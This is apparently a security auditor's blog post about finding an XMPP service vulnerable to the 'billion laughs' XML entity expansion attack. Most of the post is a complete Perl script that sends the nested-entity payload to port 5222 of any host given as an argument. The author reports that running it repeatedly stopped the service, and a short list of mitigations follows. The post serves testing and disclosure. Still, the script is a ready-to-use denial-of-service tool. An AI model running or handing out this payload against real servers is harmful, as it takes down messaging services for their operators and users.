Recently I was auditing an XMPP service for one of my customers and found it was prone to an attack named billion laugh. This is a script I created to test it :
#!/usr/bin/perl
use IO::Socket::INET;
# auto-flush on socket
$| = 1;
$numArgs = $#ARGV + 1;
if ( $numArgs < 1 ) {
die "not enough parameters! pass me a host to connect to";
}
my $server=$ARGV[0];
print "Connecting to host $server";
my $sock = new IO::Socket::INET (
PeerAddr => $server,
PeerPort => '5222',
Proto => 'tcp',
);
die "Could not create socket: $!\n" unless $sock;
my $payload= '<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<!ELEMENT lolz (#PCDATA)>
<lolz>&lol9;</lolz>
<stream:stream xmlns:stream="http://etherx.jabber.org/streams" version="1.0" xmlns="jabber:client" to="pepebotella.com" xml:lang="en" xmlns:xml="http://www.w3.org/XML/1998/namespace">
<!ELEMENT lolz (#PCDATA)>
<!ELEMENT lolz (#PCDATA)>
';
my $size = $sock->send($payload);
print "sent data of length $size\n";
# notify server that request has been sent
shutdown($sock, 1);
# receive a response of up to 1024 characters from server
my $response = "";
$sock->recv($response, 1024);
print "received response: $response\n";
$sock->close();
My customer has a XMPP application. After a while of running this script continuously the XMPP service would just stop processing the requests. I don't have access to the code / servers, so I assume the service has not been hardened to avoid flooding.
To mitigate this attack you could:
- Disable entity expansion
- Limit characters on entities
- Limit external entities
Bibliography - if you are interested on this, I do recommend these articles where I've got almost all my research: